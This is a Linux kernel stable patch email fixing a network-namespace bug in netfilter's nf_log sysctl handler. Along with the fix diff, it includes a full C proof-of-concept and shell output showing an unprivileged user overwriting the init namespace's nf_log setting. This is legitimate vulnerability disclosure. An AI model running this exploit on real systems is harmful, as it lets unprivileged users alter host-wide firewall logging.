[PATCH 3.10 251/319] netfilter: fix namespace handling in nf_log_proc_dostring

Willy Tarreau
2017-02-05T19:30:44Z

From: Jann Horn <jann@thejh.net>

commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.

nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.

Stash the "struct net *" in extra2 - data and extra1 are already used.

Repro code:

#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

char child_stack[1000000];

uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;

void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}

int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");

/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);

stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}

int main(void) {
outer_uid = getuid();
outer_gid = getgid();

int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");

char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}

Repro:

$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE

Because this looks like an issue with very low severity, I'm sending it to
the public list directly.

Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Willy Tarreau <w@1wt.eu>
---
net/netfilter/nf_log.c | 6 ++++--
1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/net/netfilter/nf_log.c b/net/netfilter/nf_log.c
index 3b18dd1..07ed65a 100644
--- a/net/netfilter/nf_log.c
+++ b/net/netfilter/nf_log.c
@@ -253,7 +253,7 @@ static int nf_log_proc_dostring(ctl_table *table, int write,
size_t size = *lenp;
int r = 0;
int tindex = (unsigned long)table->extra1;
- struct net *net = current->nsproxy->net_ns;
+ struct net *net = table->extra2;

if (write) {
if (size > sizeof(buf))
@@ -306,7 +306,6 @@ static int netfilter_log_sysctl_init(struct net *net)
3, "%d", i);
nf_log_sysctl_table[i].procname =
nf_log_sysctl_fnames[i];
- nf_log_sysctl_table[i].data = NULL;
nf_log_sysctl_table[i].maxlen =
NFLOGGER_NAME_LEN * sizeof(char);
nf_log_sysctl_table[i].mode = 0644;
@@ -317,6 +316,9 @@ static int netfilter_log_sysctl_init(struct net *net)
}
}

+ for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
+ table[i].extra2 = net;
+
net->nf.nf_log_dir_header = register_net_sysctl(net,
"net/netfilter/nf_log",
table);
--
2.8.0.rc2.1.gbe9624a